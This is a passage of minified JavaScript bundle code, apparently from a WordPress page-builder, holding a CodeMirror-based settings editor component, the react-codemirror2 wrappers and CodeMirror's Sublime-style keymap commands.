e=this.editor;if(x()(this.markers,function(e){e.clear()}),this.markers=[],d()(k()(this,"props.search")))return;for(var t=e.getSearchCursor(this.props.search);t.findNext();)this.markers.push(e.doc.markText(t.from(),t.to(),{className:"cm-searching",clearOnEnter:!0}))}}},{key:"componentWillUnmount",value:function(){this.hideCompletion(),this.hideColorPicker(),U.remove(this),this.debouncedShowCompletion.cancel(),this.debouncedUpdateSettings.flush(),this.editor=!1,this.linter&&this.linter.destroy()}},{key:"onBeforeChange",value:function(e,t,n){this.dirty=!0,this.setValue(n)}},{key:"onChange",value:function(){R.update>0?this.debouncedUpdateSettings():this.updateSettings(),this.lint()}},{key:"onKeyUp",value:function(e,t){this.checkCompletion(e,t)}},{key:"onKeyDown",value:function(e,t){"Enter"!==t.key&&13!==t.keyCode||t.stopPropagation()}},{key:"onClick",value:function(){this.options.autofocus=!0,this.enableEditor()}},{key:"setValue",value:function(e){this.setState({value:e})}},{key:"addLineBreaks",value:function(e){if(m()(e)||!f()(e))return e;var t=this.options.lineBreakPlaceholder;return e.match(t)?e.split(t).join("\n"):e}},{key:"enableEditor",value:function(){this.setState({enabled:!0})}},{key:"lint",value:function(e){this.linter&&this.linter.lint(e)}},{key:"editorDidMount",value:function(t){this.editor=t;var n=t.state.colorpicker;n&&C()(n,"open_color_picker",function(t){var n=this,o=t.lineNo,r=t.ch,i=t.nameColor,a=t.color;if(this.colorpicker){var s=a,l=this.cm.charCoords({line:o,ch:r},"window");this.colorpicker.show({left:l.left,top:l.bottom+z.scrollTop,isShortCut:t.isShortCut||!1,hideDelay:this.opt.hideDelay||2e3},i||a,function(e){n.cm.replaceRange(e,{line:o,ch:r},{line:o,ch:r+s.length},"*colorpicker"),s=e}),e(this.colorpicker.$root.el).css({top:l.bottom+z.scrollTop+"px",left:v()(l.left)?l.left+"px":l.left})}}.bind(n)),this.linter=new N.a(this.options.mode,t,R.lint),this.lint(0)}},{key:"updateSettings",value:function(){var e=this.props;e._onChange(e.name,this.state.value,e.type),this.dirty=!1}},{key:"hideCompletion",value:function(){this.debouncedShowCompletion.cancel(),this.editor&&this.editor.state.completionActive&&this.editor.state.completionActive.close()}},{key:"hideColorPicker",value:function(){this.editor&&this.editor.state.colorpicker&&this.editor.state.colorpicker.close_color_picker()}},{key:"checkCompletion",value:function(e,t){if(T()(V.ignoreKeys,t.keyCode))this.hideCompletion();else{var n=e.doc,o=n.getCursor(),r=o.line,i=o.ch,a=k()(e.getModeAt(o),"name"),s=n.getLine(r),l=s.substr(Math.max(i-1,0),1),u=s.substr(i,1);if(this.completion.test(l)&&!this.completion.test(u)){var c=k()(V,"tokens."+a);if(c){var d=e.getTokenTypeAt(o);if(!T()(c,d))return void this.hideCompletion()}this.debouncedShowCompletion()}else this.hideCompletion()}}},{key:"showCompletion",value:function(){if(!this.editor.state.completionActive){var e=D.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app")[0];this.editor.showHint({completeSingle:!1,container:e})}}},{key:"render",value:function(){var e=void 0;if(this.state.enabled){var t=A({},this.options,{lineNumbers:this.state.focused||!d()(this.state.value)||d()(this.state.default),placeholder:this.state.default});e=i.a.createElement(o.Controlled,{key:this.incrementalKey,value:this.state.value,options:t,cursor:this.options.autofocus?W:null,autoFocus:this.options.autofocus,name:this.props.name,id:"et-fb-"+this.props.name,onChange:this.onChange,onBeforeChange:this.onBeforeChange,onKeyUp:this.onKeyUp,onKeyDown:this.onKeyDown,editorDidMount:this.editorDidMount,onFocus:this._onFocus,onBlur:this._onBlur})}else e=i.a.createElement("textarea",{className:"et-fb-settings-option-textarea",value:this.state.value,name:this.props.name,onChange:u.a,onClick:this.onClick,onFocus:this._onFocus,onBlur:this._onBlur,placeholder:this.state.default});return i.a.createElement(L.a,{componentName:this.props.name},i.a.createElement("div",{className:"et-fb-codemirror"},e))}},{key:"_onFocus",value:function(){this.setState({focused:!0})}},{key:"_onBlur",value:function(){this.setState({focused:!1})}}]),n}();q.propTypes={value:s.a.string,name:s.a.string.isRequired,search:s.a.string,inline:s.a.bool},q.defaultProps={value:"",search:"",inline:!0},t.a=q}).call(this,n(24))},function(e,t,n){"use strict";var o,r=this&&this.__extends||(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}o(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i,a=n(1),s="undefined"==typeof navigator;s||(i=n(1276));var l=function(){function e(e,t){this.editor=e,this.props=t,this.notifyOfDeprecation()}return e.prototype.notifyOfDeprecation=function(){void 0!==this.props.autoScrollCursorOnSet&&console.warn("`autoScrollCursorOnSet` has been deprecated. Use `autoScroll` instead\n\nSee https://github.com/scniro/react-codemirror2#props"),void 0!==this.props.resetCursorOnSet&&console.warn("`resetCursorOnSet` has been deprecated. Use `autoCursor` instead\n\nSee https://github.com/scniro/react-codemirror2#props"),void 0!==this.props.onSet&&console.warn("`onSet` has been deprecated. User `editorDidMount` instead. See https://github.com/scniro/react-codemirror2#events"),void 0!==this.props.onBeforeSet&&console.warn("`onBeforeSet` has been deprecated. User `onBeforeChange` for `Controlled`. instead. See https://github.com/scniro/react-codemirror2#events")},e.prototype.wire=function(e){var t=this;switch(e){case"onBlur":this.editor.on("blur",function(e,n){t.props.onBlur(t.editor,n)});break;case"onCursor":this.editor.on("cursorActivity",function(e){t.props.onCursor(t.editor,t.editor.getCursor())});break;case"onCursorActivity":this.editor.on("cursorActivity",function(e){t.props.onCursorActivity(t.editor)});break;case"onDragEnter":this.editor.on("dragenter",function(e,n){t.props.onDragEnter(t.editor,n)});break;case"onDragOver":this.editor.on("dragover",function(e,n){t.props.onDragOver(t.editor,n)});break;case"onDrop":this.editor.on("drop",function(e,n){t.props.onDrop(t.editor,n)});break;case"onFocus":this.editor.on("focus",function(e,n){t.props.onFocus(t.editor,n)});break;case"onGutterClick":this.editor.on("gutterClick",function(e,n,o,r){t.props.onGutterClick(t.editor,n,o,r)});break;case"onKeyDown":this.editor.on("keydown",function(e,n){t.props.onKeyDown(t.editor,n)});break;case"onKeyPress":this.editor.on("keypress",function(e,n){t.props.onKeyPress(t.editor,n)});break;case"onKeyUp":this.editor.on("keyup",function(e,n){t.props.onKeyUp(t.editor,n)});break;case"onScroll":this.editor.on("scroll",function(e){t.props.onScroll(t.editor,t.editor.getScrollInfo())});break;case"onSelection":this.editor.on("beforeSelectionChange",function(e,n){t.props.onSelection(t.editor,n)});break;case"onUpdate":this.editor.on("update",function(e){t.props.onUpdate(t.editor)});break;case"onViewportChange":this.editor.on("viewportChange",function(e,n,o){t.props.onViewportChange(t.editor,n,o)})}},e}(),u=function(e){function t(t){var n=e.call(this,t)||this;return s?n:(n.deferred=null,n.emulating=!1,n.hydrated=!1,n.initCb=function(){n.props.editorDidConfigure&&n.props.editorDidConfigure(n.editor)},n.mounted=!1,n)}return r(t,e),t.prototype.setCursor=function(e,t,n){var o=this.editor.getDoc();n&&this.editor.focus(),t?o.setCursor(e):o.setCursor(e,null,{scroll:!1})},t.prototype.moveCursor=function(e,t){var n=this.editor.getDoc();t?n.setCursor(e):n.setCursor(e,null,{scroll:!1})},t.prototype.hydrate=function(e){var t=this;Object.keys(e.options||{}).forEach(function(n){t.editor.setOption(n,e.options[n]),t.mirror.setOption(n,e.options[n])}),this.hydrated||(this.mounted&&this.deferred?this.resolveChange():this.initChange(e.value||"")),this.hydrated=!0},t.prototype.initChange=function(e){this.emulating=!0;var t=this.editor.lastLine(),n=this.editor.getLine(this.editor.lastLine()).length;this.editor.replaceRange(e||"",{line:0,ch:0},{line:t,ch:n}),this.mirror.setValue(e),this.editor.clearHistory(),this.mirror.clearHistory(),this.emulating=!1},t.prototype.resolveChange=function(){this.emulating=!0,"undo"===this.deferred.origin?this.editor.undo():"redo"===this.deferred.origin?this.editor.redo():this.editor.replaceRange(this.deferred.text,this.deferred.from,this.deferred.to,this.deferred.origin),this.emulating=!1,this.deferred=null},t.prototype.mirrorChange=function(e){return"undo"===e.origin?(this.editor.setHistory(this.mirror.getHistory()),this.mirror.undo()):"redo"===e.origin?(this.editor.setHistory(this.mirror.getHistory()),this.mirror.redo()):this.mirror.replaceRange(e.text,e.from,e.to,e.origin),this.mirror.getValue()},t.prototype.componentWillMount=function(){s||this.props.editorWillMount&&this.props.editorWillMount()},t.prototype.componentDidMount=function(){var e=this;if(!s){if(this.props.defineMode&&this.props.defineMode.name&&this.props.defineMode.fn&&i.defineMode(this.props.defineMode.name,this.props.defineMode.fn),this.editor=i(this.ref),this.shared=new l(this.editor,this.props),this.mirror=i(function(){}),this.editor.on("electricInput",function(){e.mirror.setHistory(e.editor.getHistory())}),this.editor.on("cursorActivity",function(){e.mirror.setCursor(e.editor.getCursor())}),this.editor.on("beforeChange",function(t,n){if(!e.emulating){n.cancel(),e.deferred=n;var o=e.mirrorChange(e.deferred);e.props.onBeforeChange&&e.props.onBeforeChange(e.editor,e.deferred,o)}}),this.editor.on("change",function(t,n){e.mounted&&e.props.onChange&&e.props.onChange(e.editor,n,e.editor.getValue())}),this.props.onBlur&&this.shared.wire("onBlur"),this.props.onCursor&&this.shared.wire("onCursor"),this.props.onCursorActivity&&this.shared.wire("onCursorActivity"),this.props.onDragEnter&&this.shared.wire("onDragEnter"),this.props.onDragOver&&this.shared.wire("onDragOver"),this.props.onDrop&&this.shared.wire("onDrop"),this.props.onFocus&&this.shared.wire("onFocus"),this.props.onGutterClick&&this.shared.wire("onGutterClick"),this.props.onKeyDown&&this.shared.wire("onKeyDown"),this.props.onKeyPress&&this.shared.wire("onKeyPress"),this.props.onKeyUp&&this.shared.wire("onKeyUp"),this.props.onScroll&&this.shared.wire("onScroll"),this.props.onSelection&&this.shared.wire("onSelection"),this.props.onUpdate&&this.shared.wire("onUpdate"),this.props.onViewportChange&&this.shared.wire("onViewportChange"),this.hydrate(this.props),this.props.selection)this.editor.getDoc().setSelections(this.props.selection);this.props.cursor&&this.setCursor(this.props.cursor,this.props.autoScroll||!1,this.props.autoFocus||!1),this.props.scroll&&this.editor.scrollTo(this.props.scroll.x,this.props.scroll.y),this.mounted=!0,this.props.editorDidMount&&this.props.editorDidMount(this.editor,this.editor.getValue(),this.initCb)}},t.prototype.componentWillReceiveProps=function(e){var t;s||(e.value!==this.props.value&&(this.hydrated=!1),this.props.autoCursor||void 0===this.props.autoCursor||(t=this.editor.getCursor()),this.hydrate(e),this.props.autoCursor||void 0===this.props.autoCursor||this.moveCursor(t,this.props.autoScroll||!1))},t.prototype.componentWillUnmount=function(){s||this.props.editorWillUnmount&&this.props.editorWillUnmount(i)},t.prototype.shouldComponentUpdate=function(e,t){return!s},t.prototype.render=function(){var e=this;if(s)return null;var t=this.props.className?"react-codemirror2 "+this.props.className:"react-codemirror2";return a.createElement("div",{className:t,ref:function(t){return e.ref=t}})},t}(a.Component);t.Controlled=u;var c=function(e){function t(t){var n=e.call(this,t)||this;return s?n:(n.continueChange=!1,n.hydrated=!1,n.initCb=function(){n.props.editorDidConfigure&&n.props.editorDidConfigure(n.editor)},n.mounted=!1,n.onBeforeChangeCb=function(){n.continueChange=!0},n)}return r(t,e),t.prototype.setCursor=function(e,t,n){var o=this.editor.getDoc();n&&this.editor.focus(),t?o.setCursor(e):o.setCursor(e,null,{scroll:!1})},t.prototype.moveCursor=function(e,t){var n=this.editor.getDoc();t?n.setCursor(e):n.setCursor(e,null,{scroll:!1})},t.prototype.hydrate=function(e){var t=this;if(Object.keys(e.options||{}).forEach(function(n){return t.editor.setOption(n,e.options[n])}),!this.hydrated){var n=this.editor.lastLine(),o=this.editor.getLine(this.editor.lastLine()).length;this.editor.replaceRange(e.value||"",{line:0,ch:0},{line:n,ch:o})}this.hydrated=!0},t.prototype.componentWillMount=function(){s||this.props.editorWillMount&&this.props.editorWillMount()},t.prototype.componentDidMount=function(){var e=this;if(!s){if(this.props.defineMode&&this.props.defineMode.name&&this.props.defineMode.fn&&i.defineMode(this.props.defineMode.name,this.props.defineMode.fn),this.editor=i(this.ref),this.shared=new l(this.editor,this.props),this.editor.on("beforeChange",function(t,n){e.props.onBeforeChange&&e.props.onBeforeChange(e.editor,n,null,e.onBeforeChangeCb)}),this.editor.on("change",function(t,n){if(e.mounted)if(e.props.onBeforeChange){if(!e.continueChange)return;e.props.onChange(e.editor,n,e.editor.getValue())}else e.props.onChange(e.editor,n,e.editor.getValue())}),this.props.onBlur&&this.shared.wire("onBlur"),this.props.onCursor&&this.shared.wire("onCursor"),this.props.onCursorActivity&&this.shared.wire("onCursorActivity"),this.props.onDragEnter&&this.shared.wire("onDragEnter"),this.props.onDragOver&&this.shared.wire("onDragOver"),this.props.onDrop&&this.shared.wire("onDrop"),this.props.onFocus&&this.shared.wire("onFocus"),this.props.onGutterClick&&this.shared.wire("onGutterClick"),this.props.onKeyDown&&this.shared.wire("onKeyDown"),this.props.onKeyPress&&this.shared.wire("onKeyPress"),this.props.onKeyUp&&this.shared.wire("onKeyUp"),this.props.onScroll&&this.shared.wire("onScroll"),this.props.onSelection&&this.shared.wire("onSelection"),this.props.onUpdate&&this.shared.wire("onUpdate"),this.props.onViewportChange&&this.shared.wire("onViewportChange"),this.hydrate(this.props),this.props.selection)this.editor.getDoc().setSelections(this.props.selection);this.props.cursor&&this.setCursor(this.props.cursor,this.props.autoScroll||!1,this.props.autoFocus||!1),this.props.scroll&&this.editor.scrollTo(this.props.scroll.x,this.props.scroll.y),this.mounted=!0,this.editor.clearHistory(),this.props.editorDidMount&&this.props.editorDidMount(this.editor,this.editor.getValue(),this.initCb)}},t.prototype.componentWillReceiveProps=function(e){var t;s||(e.value!==this.props.value&&(this.hydrated=!1),this.props.autoCursor||void 0===this.props.autoCursor||(t=this.editor.getCursor()),this.hydrate(e),this.props.autoCursor||void 0===this.props.autoCursor||this.moveCursor(t,this.props.autoScroll||!1))},t.prototype.componentWillUnmount=function(){s||this.props.editorWillUnmount&&this.props.editorWillUnmount(i)},t.prototype.shouldComponentUpdate=function(e,t){return!s},t.prototype.render=function(){var e=this;if(s)return null;var t=this.props.className?"react-codemirror2 "+this.props.className:"react-codemirror2";return a.createElement("div",{className:t,ref:function(t){return e.ref=t}})},t}(a.Component);t.UnControlled=c},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t=e.commands,n=e.Pos;function o(t,o){t.extendSelectionsBy(function(r){return t.display.shift||t.doc.extend||r.empty()?function(t,o,r){if(r<0&&0==o.ch)return t.clipPos(n(o.line-1));var i=t.getLine(o.line);if(r>0&&o.ch>=i.length)return t.clipPos(n(o.line+1,0));for(var a,s="start",l=o.ch,u=l,c=r<0?0:i.length,d=0;u!=c;u+=r,d++){var p=i.charAt(r<0?u-1:u),f="_"!=p&&e.isWordChar(p)?"w":"o";if("w"==f&&p.toUpperCase()==p&&(f="W"),"start"==s)"o"!=f?(s="in",a=f):l=u+r;else if("in"==s&&a!=f){if("w"==a&&"W"==f&&r<0&&u--,"W"==a&&"w"==f&&r>0){if(u==l+1){a="w";continue}u--}break}}return n(o.line,u)}(t.doc,r.head,o):o<0?r.from():r.to()})}function r(t,o){if(t.isReadOnly())return e.Pass;t.operation(function(){for(var e=t.listSelections().length,r=[],i=-1,a=0;a<e;a++){var s=t.listSelections()[a].head;if(!(s.line<=i)){var l=n(s.line+(o?0:1),0);t.replaceRange("\n",l,null,"+insertLine"),t.indentLine(l.line,null,!0),r.push({head:l,anchor:l}),i=s.line+1}}t.setSelections(r)}),t.execCommand("indentAuto")}function i(t,o){for(var r=o.ch,i=r,a=t.getLine(o.line);r&&e.isWordChar(a.charAt(r-1));)--r;for(;i<a.length&&e.isWordChar(a.charAt(i));)++i;return{from:n(o.line,r),to:n(o.line,i),word:a.slice(r,i)}}function a(e,t){for(var n=e.listSelections(),o=[],r=0;r<n.length;r++){var i=n[r],a=e.findPosV(i.anchor,t,"line",i.anchor.goalColumn),s=e.findPosV(i.head,t,"line",i.head.goalColumn);a.goalColumn=null!=i.anchor.goalColumn?i.anchor.goalColumn:e.cursorCoords(i.anchor,"div").left,s.goalColumn=null!=i.head.goalColumn?i.head.goalColumn:e.cursorCoords(i.head,"div").left;var l={anchor:a,head:s};o.push(i),o.push(l)}e.setSelections(o)}t.goSubwordLeft=function(e){o(e,-1)},t.goSubwordRight=function(e){o(e,1)},t.scrollLineUp=function(e){var t=e.getScrollInfo();if(!e.somethingSelected()){var n=e.lineAtHeight(t.top+t.clientHeight,"local");e.getCursor().line>=n&&e.execCommand("goLineUp")}e.scrollTo(null,t.top-e.defaultTextHeight())},t.scrollLineDown=function(e){var t=e.getScrollInfo();if(!e.somethingSelected()){var n=e.lineAtHeight(t.top,"local")+1;e.getCursor().line<=n&&e.execCommand("goLineDown")}e.scrollTo(null,t.top+e.defaultTextHeight())},t.splitSelectionByLine=function(e){for(var t=e.listSelections(),o=[],r=0;r<t.length;r++)for(var i=t[r].from(),a=t[r].to(),s=i.line;s<=a.line;++s)a.line>i.line&&s==a.line&&0==a.ch||o.push({anchor:s==i.line?i:n(s,0),head:s==a.line?a:n(s)});e.setSelections(o,0)},t.singleSelectionTop=function(e){var t=e.listSelections()[0];e.setSelection(t.anchor,t.head,{scroll:!1})},t.selectLine=function(e){for(var t=e.listSelections(),o=[],r=0;r<t.length;r++){var i=t[r];o.push({anchor:n(i.from().line,0),head:n(i.to().line+1,0)})}e.setSelections(o)},t.insertLineAfter=function(e){return r(e,!1)},t.insertLineBefore=function(e){return r(e,!0)},t.selectNextOccurrence=function(t){var o=t.getCursor("from"),r=t.getCursor("to"),a=t.state.sublimeFindFullWord==t.doc.sel;if(0==e.cmpPos(o,r)){var s=i(t,o);if(!s.word)return;t.setSelection(s.from,s.to),a=!0}else{var l=t.getRange(o,r),u=a?new RegExp("\\b"+l+"\\b"):l,c=t.getSearchCursor(u,r),d=c.findNext();if(d||(c=t.getSearchCursor(u,n(t.firstLine(),0)),d=c.findNext()),!d||function(t,n,o){for(var r=0;r<t.length;r++)if(0==e.cmpPos(t[r].from(),n)&&0==e.cmpPos(t[r].to(),o))return!0;return!1}(t.listSelections(),c.from(),c.to()))return;t.addSelection(c.from(),c.to())}a&&(t.state.sublimeFindFullWord=t.doc.sel)},t.skipAndSelectNextOccurrence=function(n){var o=n.getCursor("anchor"),r=n.getCursor("head");t.selectNextOccurrence(n),0!=e.cmpPos(o,r)&&n.doc.setSelections(n.doc.listSelections().filter(function(e){return e.anchor!=o||e.head!=r}))},t.addCursorToPrevLine=function(e){a(e,-1)},t.addCursorToNextLine=function(e){a(e,1)};var s="(){}[]";function l(t){for(var o=t.listSelections(),r=[],i=0;i<o.length;i++){var a=o[i],l=a.head,u=t.scanForBracket(l,-1);if(!u)return!1;for(;;){var c=t.scanForBracket(l,1);if(!c)return!1;if(c.ch==s.charAt(s.indexOf(u.ch)+1)){var d=n(u.pos.line,u.pos.ch+1);if(0!=e.cmpPos(d,a.from())||0!=e.cmpPos(c.pos,a.to())){r.push({anchor:d,head:c.pos});break}if(!(u=t.scanForBracket(u.pos,-1)))return!1}l=n(c.pos.line,c.pos.ch+1)}}return t.setSelections(r),!0}function u(e){return e?/\bpunctuation\b/.test(e)?e:void 0:null}function c(t,o){if(t.isReadOnly())return e.Pass;for(var r,i=t.listSelections(),a=[],s=0;s<i.length;s++){var l=i[s];if(!l.empty()){for(var u=l.from().line,c=l.to().line;s<i.length-1&&i[s+1].from().line==c;)c=i[++s].to().line;i[s].to().ch||c--,a.push(u,c)}}a.length?r=!0:a.push(t.firstLine(),t.lastLine()),t.operation(function(){for(var e=[],i=0;i<a.length;i+=2){var s=a[i],l=a[i+1],u=n(s,0),c=n(l),d=t.getRange(u,c,!1);o?d.sort():d.sort(function(e,t){var n=e.toUpperCase(),o=t.toUpperCase();return n!=o&&(e=n,t=o),e<t?-1:e==t?0:1}),t.replaceRange(d,u,c),r&&e.push({anchor:u,head:n(l+1,0)})}r&&t.setSelections(e,0)})}function d(t,n){t.operation(function(){for(var o=t.listSelections(),r=[],a=[],s=0;s<o.length;s++){var l=o[s];l.empty()?(r.push(s),a.push("")):a.push(n(t.getRange(l.from(),l.to())))}t.replaceSelections(a,"around","case");for(var u,s=r.length-1;s>=0;s--){var l=o[r[s]];if(!(u&&e.cmpPos(l.head,u)>0)){var c=i(t,l.head);u=c.from,t.replaceRange(n(c.word),c.from,c.to)}}})}function p(t){var n=t.getCursor("from"),o=t.getCursor("to");if(0==e.cmpPos(n,o)){var r=i(t,n);if(!r.word)return;n=r.from,o=r.to}return{from:n,to:o,query:t.getRange(n,o),word:r}}function f(e,t){var o=p(e);if(o){var r=o.query,i=e.getSearchCursor(r,t?o.to:o.from);(t?i.findNext():i.findPrevious())?e.setSelection(i.from(),i.to()):(i=e.getSearchCursor(r,t?n(e.firstLine(),0):e.clipPos(n(e.lastLine()))),(t?i.findNext():i.findPrevious())?e.setSelection(i.from(),i.to()):o.word&&e.setSelection(o.from,o.to))}}t.selectScope=function(e){l(e)||e.execCommand("selectAll")},t.selectBetweenBrackets=function(t){if(!l(t))return e.Pass},t.goToBracket=function(t){t.extendSelectionsBy(function(o){var r=t.scanForBracket(o.head,1,u(t.getTokenTypeAt(o.head)));if(r&&0!=e.cmpPos(r.pos,o.head))return r.pos;var i=t.scanForBracket(o.head,-1,u(t.getTokenTypeAt(n(o.head.line,o.head.ch+1))));return i&&n(i.pos.line,i.pos.ch+1)||o.head})},t.swapLineUp=function(t){if(t.isReadOnly())return e.Pass;for(var o=t.listSelections(),r=[],i=t.firstLine()-1,a=[],s=0;s<o.length;s++){var l=o[s],u=l.from().line-1,c=l.to().line;a.push({anchor:n(l.anchor.line-1,l.anchor.ch),head:n(l.head.line-1,l.head.ch)}),0!=l.to().ch||l.empty()||--c,u>i?r.push(u,c):r.length&&(r[r.length-1]=c),i=c}t.operation(function(){for(var e=0;e<r.length;e+=2){var o=r[e],i=r[e+1],s=t.getLine(o);t.replaceRange("",n(o,0),n(o+1,0),"+swapLine"),i>t.lastLine()?t.replaceRange("\n"+s,n(t.lastLine()),null,"+swapLine"):t.replaceRange(s+"\n",n(i,0),null,"+swapLine")}t.setSelections(a),t.scrollIntoView()})},t.swapLineDown=function(t){if(t.isReadOnly())return e.Pass;for(var o=t.listSelections(),r=[],i=t.lastLine()+1,a=o.length-1;a>=0;a--){var s=o[a],l=s.to().line+1,u=s.from().line;0!=s.to().ch||s.empty()||l--,l<i?r.push(l,u):r.length&&(r[r.length-1]=u),i=u}t.operation(function(){for(var e=r.length-2;e>=0;e-=2){var o=r[e],i=r[e+1],a=t.getLine(o);o==t.lastLine()?t.replaceRange("",n(o-1),n(o),"+swapLine"):t.replaceRange("",n(o,0),n(o+1,0),"+swapLine"),t.replaceRange(a+"\n",n(i,0),null,"+swapLine")}t.scrollIntoView()})},t.toggleCommentIndented=function(e){e.toggleComment({indent:!0})},t.joinLines=function(e){for(var t=e.listSelections(),o=[],r=0;r<t.length;r++){for(var i=t[r],a=i.from(),s=a.line,l=i.to().line;r<t.length-1&&t[r+1].from().line==l;)l=t[++r].to().line;o.push({start:s,end:l,anchor:!i.empty()&&a})}e.operation(function(){for(var t=0,r=[],i=0;i<o.length;i++){for(var a,s=o[i],l=s.anchor&&n(s.anchor.line-t,s.anchor.ch),u=s.start;u<=s.end;u++){var c=u-t;u==s.end&&(a=n(c,e.getLine(c).length+1)),c<e.lastLine()&&(e.replaceRange(" ",n(c),n(c+1,/^\s*/.exec(e.getLine(c+1))[0].length)),++t)}r.push({anchor:l||a,head:a})}e.setSelections(r,0)})},t.duplicateLine=function(e){e.operation(function(){for(var t=e.listSelections().length,o=0;o<t;o++){var r=e.listSelections()[o];r.empty()?e.replaceRange(e.getLine(r.head.line)+"\n",n(r.head.line,0)):e.replaceRange(e.getRange(r.from(),r.to()),r.from())}e.scrollIntoView()})},t.sortLines=function(e){c(e,!0)},t.sortLinesInsensitive=function(e){c(e,!1)},t.nextBookmark=function(e){var t=e.state.sublimeBookmarks;if(t)for(;t.length;){var n=t.shift(),o=n.find();if(o)return t.push(n),e.setSelection(o.from,o.to)}},t.prevBookmark=function(e){var t=e.state.sublimeBookmarks;if(t)for(;t.length;){t.unshift(t.pop());var n=t[t.length-1].find();if(n)return e.setSelection(n.from,n.to);t.pop()}},t.toggleBookmark=function(e){for(var t=e.listSelections(),n=e.state.sublimeBookmarks||(e.state.sublimeBookmarks=[]),o=0;o<t.length;o++){for(var r=t[o].from(),i=t[o].to(),a=t[o].empty()?e.findMarksAt(r):e.findMarks(r,i),s=0;s<a.length;s++)if(a[s].sublimeBookmark){a[s].clear();for(var l=0;l<n.length;l++)n[l]==a[s]&&n.splice(l--,1);break}s==a.length&&n.push(e.markText(r,i,{sublimeBookmark:!0,clearWhenEmpty:!1}))}},t.clearBookmarks=function(e){var t=e.state.sublimeBookmarks;if(t)for(var n=0;n<t.length;n++)t[n].clear();t.length=0},t.selectBookmarks=function(e){var t=e.state.sublimeBookmarks,n=[];if(t)for(var o=0;o<t.length;o++){var r=t[o].find();r?n.push({anchor:r.from,head:r.to}):t.splice(o--,0)}n.length&&e.setSelections(n,0)},t.smartBackspace=function(t){if(t.somethingSelected())return e.Pass;t.operation(function(){for(var o=t.listSelections(),r=t.getOption("indentUnit"),i=o.length-1;i>=0;i--){var a=o[i].head,s=t.getRange({line:a.line,ch:0},a),l=e.countColumn(s,null,t.getOption("tabSize")),u=t.findPosH(a,-1,"char",!1);if(s&&!/\S/.test(s)&&l%r==0){var c=new n(a.line,e.findColumn(s,l-r,r));c.ch!=a.ch&&(u=c)}t.replaceRange("",u,a,"+delete")}})},t.delLineRight=function(e){e.operation(function(){for(var t=e.listSelections(),o=t.length-1;o>=0;o--)e.replaceRange("",t[o].anchor,n(t[o].to().line),"+delete");e.scrollIntoView()})},t.upcaseAtCursor=function(e){d(e,function(e){return e.toUpperCase()})},t.downcaseAtCursor=function(e){d(e,function(e){return e.toLowerCase()})},t.setSublimeMark=function(e){e.state.sublimeMark&&e.state.sublimeMark.clear(),e.state.sublimeMark=e.setBookmark(e.getCursor())},t.selectToSublimeMark=function(e){var t=e.state.sublimeMark&&e.state.sublimeMark.find();t&&e.setSelection(e.getCursor(),t)},t.deleteToSublimeMark=function(t){var n=t.state.sublimeMark&&t.state.sublimeMark.find();if(n){var o=t.getCursor(),r=n;if(e.cmpPos(o,r)>0){var i=r;r=o,o=i}t.state.sublimeKilled=t.getRange(o,r),t.replaceRange("",o,r)}},t.swapWithSublimeMark=function(e){var t=e.state.sublimeMark&&e.state.sublimeMark.find();t&&(e.state.sublimeMark.clear(),e.state.sublimeMark=e.setBookmark(e.getCursor()),e.setCursor(t))},t.sublimeYank=function(e){null!=e.state.sublimeKilled&&e.replaceSelection(e.state.sublimeKilled,null,"paste")},t.showInCenter=function(e){var t=e.cursorCoords(null,"local");e.scrollTo(null,(t.top+t.bottom)/2-e.getScrollInfo().clientHeight/2)},t.findUnder=function(e){f(e,!0)},t.findUnderPrevious=function(e){f(e,!1)},t.findAllUnder=function(e){var t=p(e);if(t){for(var n=e.getSearchCursor(t.query),o=[],r=-1;n.findNext();)o.push({anchor:n.from(),head:n.to()}),n.from().line<=t.from.line&&n.from().ch<=t.from.ch&&r++;e.setSelections(o,r)}};var h=e.keyMap;h.macSublime={"Cmd-Left":"goLineStartSmart","Shift-Tab":"indentLess","Shift-Ctrl-K":"deleteLine","Alt-Q":"wrapLines","Ctrl-Left":"goSubwordLeft","Ctrl-Right":"goSubwordRight","Ctrl-Alt-Up":"scrollLineUp","Ctrl-Alt-Down":"scrollLineDown","Cmd-L":"selectLine","Shift-Cmd-L":"splitSelectionByLine",Esc:"singleSelectionTop","Cmd-Enter":"insertLineAfter","Shift-Cmd-Enter":"insertLineBefore","Cmd-D":"selectNextOccurrence","Shift-Cmd-Space":"selectScope","Shift-Cmd-M":"selectBetweenBrackets","Cmd-M":"goToBracket","Cmd-Ctrl-Up":"swapLineUp","Cmd-Ctrl-Down":"swapLineDown","Cmd-/":"toggleCommentIndented","Cmd-J":"joinLines","Shift-Cmd-D":"duplicateLine",F5:"sortLines","Cmd-F5":"sortLinesInsensitive",F2:"nextBookmark","Shift-F2":"prevBookmark","Cmd-F2":"toggleBookmark","Shift-Cmd-F2":"clearBookmarks","Alt-F2":"selectBookmarks",Backspace:"smartBackspace","Cmd-K Cmd-D":"skipAndSelectNextOccurrence","Cmd-K Cmd-K":"delLineRight","Cmd-K Cmd-U":"upcaseAtCursor","Cmd-K Cmd-L":"downcaseAtCursor","Cmd-K Cmd-Space":"setSublimeMark","Cmd-K Cmd-A":"selectToSublimeMark","Cmd-K Cmd-W":"deleteToSublimeMark","Cmd-K Cmd-X":"swapWithSublimeMark","Cmd-K Cmd-Y":"sublimeYank","Cmd-K Cmd-C":"showInCenter","Cmd-K Cmd-G":"clearBookmarks","Cmd-K Cmd-Backspace":"delLineLeft","Cmd-K Cmd-1":"foldAll","Cmd-K Cmd-0":"unfoldAll","Cmd-K 